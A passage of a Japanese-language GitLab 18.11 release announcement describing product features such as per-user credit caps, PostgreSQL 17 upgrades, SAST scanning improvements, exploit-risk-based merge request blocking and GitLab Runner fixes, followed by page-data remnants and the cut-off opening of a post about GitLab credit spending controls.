Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/#set-a-per-user-usage-cap)\n\n管理者が請求期間ごとにGitLabクレジットのユーザーごとの使用量上限をオプションで設定できるようになりました。個々のユーザーの総クレジット消費量が設定された上限に達すると、そのユーザーのみGitLab Duo Agent Platformへのアクセスが一時停止されます。他のユーザーは影響を受けません。特定のユーザーが組織全体のクレジットを偏って消費することを防ぎ、管理者が使用量の配分をきめ細かく制御できます。ユーザーごとの使用量上限はサブスクリプションレベルの使用量上限と連動し、先に到達した上限が適用されます。\n\n### Linuxパッケージの改善\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/omnibus/settings/database/#upgrade-packaged-postgresql-server) | [関連イシュー](https://gitlab.com/gitlab-org/omnibus-gitlab/-/work_items/9734)\n\nGitLab 19.0では、PostgreSQLの最低サポートバージョンがバージョン17になります。この変更に備えて、[PostgreSQLクラスター](https://docs.gitlab.com/ja-jp/administration/postgresql/replication_and_failover/)を使用していないインスタンスでは、GitLab 18.11へのアップグレード時にPostgreSQL 17への自動アップグレードが試行されます。\n\n[PostgreSQLクラスター](https://docs.gitlab.com/ja-jp/administration/postgresql/replication_and_failover/)を使用している場合、またはこの[自動アップグレードをオプトアウト](https://docs.gitlab.com/ja-jp/omnibus/settings/database/#opt-out-of-automatic-postgresql-upgrades)する場合は、GitLab 19.0にアップグレードするために[PostgreSQL 17に手動でアップグレード](https://docs.gitlab.com/ja-jp/omnibus/settings/database/#upgrade-packaged-postgresql-server)する必要があります。\n\n### コンテナレジストリメタデータデータベースのバックアップとリストアのサポート\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/administration/backup_restore/#metadata-database) | [関連イシュー](https://gitlab.com/groups/gitlab-com/gl-infra/data-access/durability/-/work_items/45)\n\nLinuxパッケージインストール向けのGitLab[バックアップRakeタスク](https://docs.gitlab.com/ja-jp/administration/backup_restore/)と、Cloud Native（Helm）インストール向けの[backup-utility](https://docs.gitlab.com/ja-jp/charts/backup-restore/)が、[コンテナレジストリメタデータデータベース](https://docs.gitlab.com/ja-jp/administration/packages/container_registry_metadata_database/)に対応しました。メタデータデータベースに格納されているblob、manifest、タグなどのデータへの参照をバックアップでき、悪意のあるまたは偶発的なデータ破損からの復旧が可能になります。\n\n### 検索のグループ向け新しいナビゲーション体験\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/group/manage) | [関連エピック](https://gitlab.com/groups/gitlab-org/-/work_items/20521)\n\n検索のグループ一覧が改善され、GitLabインスタンス全体でのグループの発見が容易になりました。再設計されたインターフェースでは、2つのビューを持つタブレイアウトを採用しています。\n\n* **アクティブタブ：** アクセス可能なすべてのグループを閲覧し、関連するコミュニティやプロジェクトを発見できます。\n* **非アクティブタブ：** アーカイブされたグループや削除保留中のグループを表示し、グループのライフサイクルステータスを確認できます。\n\nこれらの変更により、グループの発見が効率化され、参加可能なグループの可視性が向上します。\n\n### プロジェクトの非同期転送\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/group/manage) | [関連エピック](https://gitlab.com/groups/gitlab-org/-/work_items/20521)\n\n以前のバージョンのGitLabでは、大規模なグループやプロジェクトの転送がタイムアウトになることがありました。今回、転送・アーカイブ・削除などの操作に統一された状態管理モデルを導入したことで、動作の一貫性が向上し、状態履歴や監査詳細の可視性が改善されました。また、転送処理が非同期化され、長時間の操作でもタイムアウトが発生しにくくなっています。\n\n- - -\n\n## 統合DevOpsとセキュリティ\n\n### ClickHouseがSelf-Managedデプロイで一般提供開始\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/integration/clickhouse/#set-up-clickhouse) | [関連イシュー](https://gitlab.com/groups/gitlab-org/architecture/gitlab-data-analytics/-/work_items/51)\n\nGitLab Self-Managedインスタンス向けに、GitLab [ClickHouseインテグレーション](https://docs.gitlab.com/ja-jp/integration/clickhouse/)の推奨事項と設定ガイダンスが改善されました。独自のクラスターを持ち込むか、ClickHouse Cloud（推奨）セットアップオプションを使用できます。このインテグレーションは複数のダッシュボードを支え、アナリティクス領域内のさまざまなAPIエンドポイントへのアクセスを提供します。\n\nこのスケーラブルで高パフォーマンスなデータベースは、GitLabアナリティクスインフラストラクチャにおける大規模なアーキテクチャ改善計画の一環です。\n\n### Duo・SDLCトレンドダッシュボードでのGitLab Duo Agent Platformアナリティクスの強化\n\n* **利用可能プラン：** Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated\n* **アドオン：** Duo Pro、Duo Enterprise\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/analytics/duo_and_sdlc_trends/) | [関連エピック](https://gitlab.com/groups/gitlab-org/-/work_items/20540)\n\nGitLab DuoおよびSDLCトレンドダッシュボードが改善され、ソフトウェアデリバリーへのGitLab Duoの影響を測定するためのアナリティクス機能が強化されました。月間Agent Platformユニークユーザー数とAgentic Chatセッション数の新しいシングルスタットパネルが追加されました。また、シート割り当てに対する使用率（%）として表示されていたメトリクスが、使用回数のみを報告するように更新されました。この変更により、新しい使用量課金モデルのAgent Platform使用量が反映されていなかった[問題](https://gitlab.com/gitlab-org/gitlab/-/work_items/590326)が解消されます。\n\n### GLQLがプロジェクト、パイプライン、ジョブのデータソースにアクセス可能に\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/glql/data_sources/)\n\n[GitLab Query Language（GLQL）](https://docs.gitlab.com/ja-jp/user/glql/)が3つの新しいデータソース（プロジェクト、パイプライン、ジョブ）にアクセスできるようになりました。これらの新しいデータソースは埋め込みビューとしても利用でき、パイプライン結果、ジョブステータス、プロジェクト概要をWiki、イシューやマージリクエストの説明、リポジトリのMarkdownファイルに直接表示できます。GLQLは[データ分析エージェント](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/data_analyst/)の基盤でもあり、これらの新しいタイプにより、エージェントはCI/CDジョブの結果の検査、障害のデバッグ、パイプライン実行の詳細な概要の提供、およびネームスペース内のプロジェクトの正確な概要の提供が可能になります。\n\n### MavenおよびPythonのSBOMスキャンにおける依存関係の解決\n\n* **利用可能プラン：** Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/dependency_scanning_sbom/#dependency-resolution) | [関連エピック](https://gitlab.com/groups/gitlab-org/-/work_items/20461)\n\nSBOMを使用したGitLabの依存関係スキャンが、MavenおよびPythonプロジェクトの依存関係グラフの自動生成に対応しました。以前は、正確な依存関係分析にはロックファイルまたはグラフファイルの提供が必要でした。今回の改善により、これらのファイルが利用できない場合はアナライザーが自動的に生成を試みるようになり、MavenおよびPythonプロジェクトでロックファイルなしでも依存関係スキャンを有効にしやすくなりました。\n\n### 高度なSASTのインクリメンタルスキャン\n\n* **利用可能プラン：** Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/sast/gitlab_advanced_sast/#incremental-scanning) | [関連エピック](https://gitlab.com/groups/gitlab-org/-/work_items/20508)\n\nGitLab高度なSASTで、コードベースの変更された部分のみを分析するインクリメンタルスキャンが可能になりました。リポジトリ全体のスキャンと比較してスキャン時間が大幅に短縮されます。この機能は差分ベースのスキャンをさらに進化させたもので、コードベース全体の完全な結果を生成します。\n\n変更されたコードのみをスキャンすることで、速度を犠牲にしたり摩擦を増やしたりすることなく、セキュリティテストを開発ワークフローにシームレスに統合できます。\n\n### 未検証の脆弱性（ベータ版）\n\n* **利用可能プラン：** Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/sast/gitlab_advanced_sast/#report-unverified-vulnerabilities) | [関連エピック](https://gitlab.com/groups/gitlab-org/-/work_items/15649)\n\n高度なSASTが、未検証の脆弱性（ソースからシンクまで完全にトレースできない検出結果）を脆弱性レポートに直接表示できるようになりました。検出漏れ（偽陰性）よりも誤検出（偽陽性）が多くなることを許容できる場合には、この機能を有効にしてください。\n\nこの機能はベータ版です。フィードバックは[イシュー596512](https://gitlab.com/gitlab-org/gitlab/-/work_items/596512)にてお待ちしています。\n\n### Kubernetes 1.35のサポート\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/clusters/agent/#supported-kubernetes-versions-for-gitlab-features) | [関連イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/584225)\n\nGitLabがKubernetesバージョン1.35を正式にサポートしました。アプリケーションをKubernetesにデプロイしてすべての機能にアクセスするには、接続されたクラスターを最新バージョンにアップグレードしてください。詳細については、[GitLabの機能でサポートされているKubernetesのバージョン](https://docs.gitlab.com/ja-jp/user/clusters/agent/#supported-kubernetes-versions-for-gitlab-features)をご確認ください。\n\n### コンテナレジストリ メタデータ データベースのpreferモード\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/administration/packages/container_registry_metadata_database/#prefer-mode) | [関連イシュー](https://gitlab.com/gitlab-org/gitlab/-/issues/595480)\n\nコンテナレジストリ メタデータ データベースを`prefer`モードに設定できるようになりました。これは、既存の`true`および`false`の値に加わる新しい設定オプションです。preferモードでは、レジストリがインストールの現在の状態に基づいて、メタデータデータベースを使用するかレガシーストレージにフォールバックするかを自動的に検出します。\n\nデータベースにインポートされていない既存のファイルシステムメタデータがある場合、メタデータのインポートが完了するまでレガシーストレージが引き続き使用されます。データベースがすでに使用されている場合、または新規インストールの場合は、レジストリがデータベースを直接使用します。\n\n今後のリリースで、`prefer`モードは新規Linuxパッケージインストールのデフォルトになる予定です。既存のインストールには影響しません。詳細については、[イシュー595480](https://gitlab.com/gitlab-org/gitlab/-/work_items/595480)をご確認ください。\n\n### パッケージ保護ルールがTerraformモジュールに対応\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/packages/package_registry/package_protection_rules/) | [関連イシュー](https://gitlab.com/gitlab-org/gitlab/-/issues/592761)\n\nこれまで、ビルトインのGitLab Terraformモジュールレジストリからモジュールを公開しているチームには、新しいモジュールバージョンのプッシュを制限する手段がありませんでした。パッケージ保護ルールは複数のパッケージ形式に対応していたものの、`terraform_module`は対象外だったため、インフラストラクチャチームはプロジェクトレベルでプッシュを制御できませんでした。\n\n今回、`terraform_module`を対象としたパッケージ保護ルールを作成できるようになり、最小ロールに基づいてプッシュアクセスを制限できます。この機能はUI、REST API、GraphQL API、GitLab Terraformプロバイダーリソースから利用できます。\n\n### リリースエビデンスにパッケージが含まれるように\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/project/releases/release_evidence/#include-packages-as-release-evidence) | [関連イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/283995)\n\nGitLabリリースの作成時、パッケージレジストリに公開されたパッケージは自動的にリリースに関連付けられませんでした。チームはパッケージURLを手動で構築し、APIやパイプラインスクリプトを通じてリリースリンクとして添付する必要があり、手間がかかるうえ不完全なリリースレコードのリスクがありました。\n\nパッケージのバージョンがリリースタグと一致する場合、GitLabがリリースエビデンスにパッケージを自動的に含めるようになりました。手動の手順なしにリリースと関連パッケージ間の検証可能で監査可能なリンクが作成され、ソースコード、アーティファクト、パッケージが1つの完全なリリーススナップショットにまとめられます。\n\n### Wikiサイドバートグルの位置変更によるアクセス性向上\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/project/wiki/#sidebar) | [関連イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/580569)\n\nWikiサイドバートグルが、制御対象のサイドバーのすぐ横の左側に配置されるようになりました。\n\nサイドバーが折りたたまれている場合でも、フローティングコントロールとしてトグルが表示されたままになるため、ページの先頭までスクロールすることなく再度開けます。\n\n### Wikiページのアクションバーが固定表示に\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/project/wiki/) | [関連イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/590255)\n\nWikiページのアクションバーが固定表示されるようになり、ページをスクロールしても常に画面上に表示されます。以前は、編集やページ履歴の表示、テンプレートの管理などにアクセスするにはページの先頭までスクロールする必要がありました。ページタイトルと主要なアクション（編集、新しいページ、テンプレート、ページ履歴など）が、ページのどこにいても手の届く場所に表示されます。\n\n### エピックのウェイト\n\n* **利用可能プラン：** Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/work_items/weight/) | [関連エピック](https://gitlab.com/groups/gitlab-org/-/work_items/12273)\n\nエピックがウェイトに対応し、計画時に大規模なイニシアティブの見積もりと優先順位付けが容易になりました。\n\nエピックを子イシューに分解する前に、初期見積もりを表す暫定ウェイトを割り当てられます。エピックを分解すると、すべての子イシューからのロールアップ合計を反映してウェイトが自動的に更新されます。これは、イシューやタスクのウェイトロールアップの動作と一貫しています。\n\nエピック詳細ページでは、暫定ウェイトと子イシューからのロールアップウェイトの両方を確認でき、時間の経過とともに見積もりを洗練するために必要なインサイトを得られます。\n\n### 悪用可能性リスクの高いマージリクエストのブロック\n\n* **利用可能プラン：** Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/policies/merge_request_approval_policies/#vulnerability_attributes-object) | [関連エピック](https://gitlab.com/groups/gitlab-org/-/epics/16311)\n\n以前は、マージリクエスト（MR）の承認ポリシーは脆弱性の重大度に基づいてMRをブロックできましたが、すべての脆弱性が同じリスクを持つわけではありません。CVSSの重大度だけでは、CVEが実際に悪用されているかどうかや悪用の可能性はわかりません。その結果、承認ポリシーがノイズの多いものとなり、デベロッパーとセキュリティチームの時間が浪費されていました。\n\nKnown Exploited Vulnerability（KEV）およびExploit Prediction Scoring System（EPSS）データを使用してMR承認ポリシーを設定できるようになりました。検出結果がKEVカタログに含まれている場合（実際に悪用されている場合）、またはEPSSスコアがしきい値を超えている場合に、ブロックまたは承認を要求できます。MRのポリシー違反にはKEVおよびEPSSのコンテキストが含まれ、デベロッパーはセキュリティゲートがトリガーされた理由を理解できます。\n\nセキュリティチームにどの検出結果をブロックまたは警告するかの正確な制御を提供し、アラート疲労を軽減し、現在の脅威状況に沿った適用を実現します。\n\n### 脆弱性へのCVSS 4.0スコアの割り当て\n\n* **利用可能プラン：** Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/vulnerabilities/severities/) | [関連エピック](https://gitlab.com/groups/gitlab-org/-/epics/18697)\n\nCVSS 4.0は、脆弱性の重大度を評価・格付けするための業界標準の最新バージョンです。UIでCVSS 4.0スコアを表示・確認できるようになりました（脆弱性詳細ページおよび脆弱性レポートを含む）。APIを使用したスコアのクエリも可能です。\n\n### 脆弱性レポートの行操作の改善\n\n* **利用可能プラン：** Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/vulnerability_report/) | [関連イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/561414)\n\n以前は、脆弱性レポートから詳細ページに移動するには、行内の説明テキストをクリックする必要がありました。\n\n今回の改善で、行のどこをクリックしても詳細ページに直接移動できるようになりました。脆弱性の説明やファイルの場所のリンク表示はマウスを合わせたときのみ表示されるようになり、キーボードナビゲーションも改善されています。\n\nこれらの変更により、脆弱性レポートがより直感的で使いやすくなりました。\n\n### セキュリティダッシュボードのPDFエクスポート\n\n* **利用可能プラン：** Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/security_dashboard/#export-as-pdf) | [関連エピック](https://gitlab.com/groups/gitlab-org/-/epics/18203)\n\nセキュリティダッシュボードをレポートやプレゼンテーション用にPDFとしてエクスポートできるようになりました。エクスポートには、アクティブなフィルターを含むダッシュボードのすべてのチャートとパネルの現在の状態が反映されます。\n\n### セキュリティ設定プロファイルでのSASTスキャン\n\n* **利用可能プラン：** Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/configuration/security_configuration_profiles/) | [関連エピック](https://gitlab.com/groups/gitlab-org/-/work_items/19951)\n\nGitLab 18.9では、**シークレット検出 - デフォルト**プロファイルによりセキュリティ設定プロファイルを導入しました。GitLab 18.11では、**静的アプリケーションセキュリティテスト（SAST） - デフォルト**プロファイルが追加され、SASTにも対応しました。CI/CD設定ファイルを一切編集することなく、標準化された静的解析のスキャン設定をすべてのプロジェクトに適用できます。\n\nこのプロファイルは2つのスキャントリガーを有効にします。\n\n* **マージリクエストパイプライン：** オープンなマージリクエストのあるブランチに新しいコミットがプッシュされるたびに、SASTスキャンを自動実行します。結果にはマージリクエストによって導入された新しい脆弱性のみが含まれます。\n* **ブランチパイプライン（デフォルトのみ）：** 変更がデフォルトブランチにマージまたはプッシュされた際に自動実行され、デフォルトブランチのSAST態勢の包括的なビューを提供します。\n\n### グループセキュリティダッシュボードのセキュリティ属性フィルター\n\n* **利用可能プラン：** Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/security_dashboard/#filter-the-entire-dashboard) | [関連エピック](https://gitlab.com/groups/gitlab-org/-/epics/18201)\n\nグループセキュリティダッシュボードの結果を、グループ内のプロジェクトに適用されたセキュリティ属性に基づいてフィルタリングできるようになりました。\n\n利用可能なセキュリティ属性は以下のとおりです。\n\n* ビジネスインパクト\n* アプリケーション\n* ビジネスユニット\n* インターネット露出\n* ロケーション\n\n### セキュリティマネージャーロール（ベータ版）\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/permissions/#security-manager)\n\nセキュリティマネージャーロールがベータ版として利用可能になりました。セキュリティ専門家向けに設計された新しいデフォルトの権限セットを提供します。セキュリティチームはセキュリティ機能にアクセスするためにデベロッパーやメンテナーロールを必要とせず、過剰な権限付与の懸念を解消しながら職務分離を維持できます。\n\nセキュリティマネージャーロールのユーザーには以下のアクセス権限があります。\n\n* **脆弱性管理：** グループおよびプロジェクト全体の脆弱性の表示、トリアージ、管理（脆弱性レポートおよびセキュリティダッシュボードを含む）。\n* **セキュリティインベントリ：** グループのセキュリティインベントリを表示し、全プロジェクトのスキャナーカバレッジを把握。\n* **セキュリティ設定プロファイル：** グループのセキュリティ設定プロファイルの表示。\n* **コンプライアンスツール：** グループまたはプロジェクトの監査イベント、コンプライアンスセンター、コンプライアンスフレームワーク、依存関係リストの表示。\n* **シークレットプッシュ保護：** グループのシークレットプッシュ保護の有効化。\n* **オンデマンドDAST：** グループのオンデマンドDASTスキャンの作成と実行。\n\n開始するには、グループに移動し、**管理 > メンバー**を選択してメンバーを招待し、セキュリティマネージャーロールを割り当ててください。\n\n### 脆弱性レポートの識別子リストポップオーバー\n\n* **利用可能プラン：** Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/vulnerability_report/) | [関連イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/564939)\n\n脆弱性レポートの各行にプライマリCVE識別子がクリック可能なリンクとして表示されるようになりました。複数の識別子が存在する場合、**「+N more」**のポップオーバーですべての識別子が一覧表示されます。リスト内の各識別子は外部参照（CVE、CWE、WASCデータベースなど）にリンクしており、レポートを離れることなく詳細にすばやくアクセスできます。\n\n### GitLab Runner 18.11\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/runner)\n\nGitLab Runner 18.11もリリースしました。GitLab Runnerは、CI/CDジョブを実行し、結果をGitLabインスタンスに返送する高いスケーラビリティを備えたビルドエージェントです。GitLab Runnerは、GitLabに含まれるオープンソースの継続的インテグレーションサービスであるGitLab CI/CDと連携して動作します。\n\n#### 新機能：\n\n* [バンドルされた依存関係を含む`concrete`ヘルパーイメージの作成](https://gitlab.com/gitlab-org/gitlab-runner/-/work_items/39286)\n* [環境変数ではなくRunner設定からジョブルーターのフィーチャーフラグを読み取り](https://gitlab.com/gitlab-org/gitlab-runner/-/work_items/39280)\n\n#### バグ修正：\n\n* [リファクタリング後のRunnerバイナリパスの誤り](https://gitlab.com/gitlab-org/gitlab-runner/-/work_items/39329)\n* [キャッシュ操作時のパイプラインハング](https://gitlab.com/gitlab-org/gitlab-runner/-/work_items/39279)\n* [GitLab Runner 18.9.0の`docker-machine`バイナリがCVE-2025-68121を参照](https://gitlab.com/gitlab-org/gitlab-runner/-/work_items/39276)\n* [`DOCKER_AUTH_CONFIG`からのクレデンシャルヘルパーバイナリが見つからない場合にRunnerがジョブペイロードの認証情報にサイレントフォールバック](https://gitlab.com/gitlab-org/gitlab-runner/-/work_items/39201)\n* [`CONCURRENT_PROJECT_ID`が異なるジョブ間で一意でなく、ビルドディレクトリで競合が発生](https://gitlab.com/gitlab-org/gitlab-runner/-/work_items/38307)\n* [アーティファクトのアップロードがレスポンスヘッダーのタイムアウトで失敗](https://gitlab.com/gitlab-org/gitlab-runner/-/work_items/37220)\n* [失敗した`pre_build_script`の後にユーザー定義の`after_script`が実行され、`post_build_script`がバイパスされる](https://gitlab.com/gitlab-org/gitlab-runner/-/work_items/3116)\n\nすべての変更の一覧はGitLab Runner [CHANGELOG](https://gitlab.com/gitlab-org/gitlab-runner/blob/18-11-stable/CHANGELOG.md)をご覧ください。\n\n- - -\n\n## 関連トピック\n\n* [バグ修正](https://gitlab.com/groups/gitlab-org/-/issues/?sort=updated_desc&state=closed&label_name%5B%5D=type%3A%3Abug&or%5Blabel_name%5D%5B%5D=workflow%3A%3Acomplete&or%5Blabel_name%5D%5B%5D=workflow%3A%3Averification&or%5Blabel_name%5D%5B%5D=workflow%3A%3Aproduction&milestone_title=18.11)\n* [パフォーマンスの改善](https://gitlab.com/groups/gitlab-org/-/issues/?sort=updated_desc&state=closed&label_name%5B%5D=bug%3A%3Aperformance&or%5Blabel_name%5D%5B%5D=workflow%3A%3Acomplete&or%5Blabel_name%5D%5B%5D=workflow%3A%3Averification&or%5Blabel_name%5D%5B%5D=workflow%3A%3Aproduction&milestone_title=18.11)\n* [UIの改善](https://papercuts.gitlab.com/?milestone=18.11)\n* [非推奨と削除](https://docs.gitlab.com/ja-jp/update/deprecations/)\n* [アップグレードノート](https://docs.gitlab.com/ja-jp/update/versions/)\n\n- - -\n\n### インストール\n\n新規にGitLabをセットアップする場合は、[GitLabダウンロードページ](https://about.gitlab.com/install/)をご覧ください。\n\n### アップデート\n\n[アップデートページ](https://about.gitlab.com/update/)をご確認ください。\n\n### ご不明な点がある場合\n\nご質問やご意見をお聞かせください。本リリースについてご不明な点がある場合は、[GitLabフォーラム](https://forum.gitlab.com/)にアクセスして質問を投稿してください。\n\n### GitLabサブスクリプションプラン\n\n* [Free](https://about.gitlab.com/pricing/)\n  ユーザー向けの永久無料機能を提供\n* [Premium](https://about.gitlab.com/pricing/premium/)\n  チームの生産性と調整を強化\n* [Ultimate](https://about.gitlab.com/pricing/ultimate/)\n   組織全体のセキュリティ、コンプライアンス、プランニングに対応\n  GitLabのすべての機能を[無料](https://about.gitlab.com/free-trial/?hosted=saas)でお試しいただけます。\n\n*\\--------------------*\n\n\n### 過去の日本語リリース情報\n\n* [GitLab 18.10](https://about.gitlab.com/ja-jp/blog/gitlab-18-10-release/)\n* [GitLab 18.9](https://about.gitlab.com/ja-jp/blog/gitlab-18-09-release/)\n* [GitLab 18.8](https://about.gitlab.com/ja-jp/blog/gitlab-18-08-release/)\n* [GitLab 18.7](https://about.gitlab.com/ja-jp/blog/gitlab-18-07-release/)\n* [GitLab 18.6](https://about.gitlab.com/ja-jp/blog/gitlab-18-06-release/)\n* [GitLab 18.5](https://about.gitlab.com/ja-jp/blog/gitlab-18-05-release/)\n* [GitLab 18.4](https://about.gitlab.com/ja-jp/blog/gitlab-18-04-release)\n* [GitLab 18.3](https://about.gitlab.com/ja-jp/blog/gitlab-18-03-release)\n* [GitLab 18.2](https://about.gitlab.com/ja-jp/blog/gitlab-18-02-release/)\n* [GitLab 18.1](https://about.gitlab.com/ja-jp/blog/gitlab-18-01-release/)\n* [GitLab 18.0](https://about.gitlab.com/ja-jp/blog/gitlab-18-0-release/)\n* [GitLab 17.11](https://about.gitlab.com/ja-jp/blog/gitlab-17-11-release/)\n* [GitLab 17.10](https://about.gitlab.com/ja-jp/blog/gitlab-17-10-release/)\n* [GitLab 17.9](https://about.gitlab.com/ja-jp/blog/gitlab-17-9-release/)\n* [GitLab 17.8](https://about.gitlab.com/ja-jp/blog/gitlab-17-8-release/)\n* [GitLab 17.7](https://about.gitlab.com/ja-jp/blog/gitlab-17-7-release/)\n* [GitLab 17.6](https://about.gitlab.com/ja-jp/blog/gitlab-17-6-release/)\n* [GitLab 17.5](https://about.gitlab.com/ja-jp/blog/gitlab-17-5-released/)\n* [GitLab 17.4](https://about.gitlab.com/ja-jp/blog/gitlab-17-4-released/)\n* [GitLab 17.3](https://about.gitlab.com/ja-jp/blog/gitlab-17-3-released/)\n* [GitLab 17.2](https://about.gitlab.com/ja-jp/blog/gitlab-17-2-released/)\n* [GitLab 17.1](https://about.gitlab.com/ja-jp/blog/gitlab-17-1-released/)\n* [GitLab 16.11](https://about.gitlab.com/ja-jp/blog/gitlab-16-11-released/)",[912],"GitLab 18.11リリース",[1041,806,745,88],"GitLab 18.11でリリースした最新機能を公開します。",{"featured":641,"template":796,"slug":1108},"gitlab-18-11-release",{"content":1110,"config":1117},{"heroImage":1101,"body":1111,"authors":1112,"updatedDate":876,"date":877,"title":1114,"tags":1115,"description":1116,"category":745},"GitLab Duo Agent PlatformをオンデマンドのGitLabクレジットとともに活用しているチームは、以前よりも速くリリースし、バグを早期に発見し、かつては数スプリントを要していた作業を自動化しています。しかし、導入が拡大するにつれ、財務・調達・プラットフォームの各チームから、AIへの支出が適切に管理され、予測可能で制御可能であることを示すよう求める声も高まっています。\n\nAI導入拡大の最大の障壁は、テクノロジーへの懐疑心ではありません。支出管理に対する不安です。予算上限がなければ、忙しい月に予期しない費用が発生するリスクがあります。ユーザーごとの上限がなければ、一部のヘビーユーザーが月末前にチームのクレジットを使い切ってしまう可能性があります。どちらの仕組みもなければ、ソフトウェア開発においてエージェント型AIの活用を拡大したいエンジニアリングリーダーは、予算承認のために多くの手順を踏まなければなりません。\n\n[一般提供（GA）](https://about.gitlab.com/ja-jp/blog/gitlab-duo-agent-platform-is-generally-available/)の開始以来、GitLab Duo Agent Platformは利用状況のガバナンスと可視化の機能を提供してきました。GitLab 18.11では、[GitLabクレジット](https://about.gitlab.com/ja-jp/blog/introducing-gitlab-credits/)の利用制御機能として、支出上限と予算ガードレールを新たに導入します。これにより、組織はクレジットの消費状況をさらに細かく管理し、透明性を高めることができます。\n\n## GitLabクレジットの管理\n\nGitLab 18.11では、GitLabクレジットの消費を管理する3つの層を追加します。サブスクリプションレベルの支出上限、ユーザーごとのクレジット上限、そして上限の状態と適用状況の可視化です。\n\n### サブスクリプションレベルの支出上限\n\n請求アカウントマネージャーは、サブスクリプション全体のオンデマンドGitLabクレジット消費に対して、月次の上限を設定できるようになりました。\n\n設定の流れは次のとおりです。\n\n* 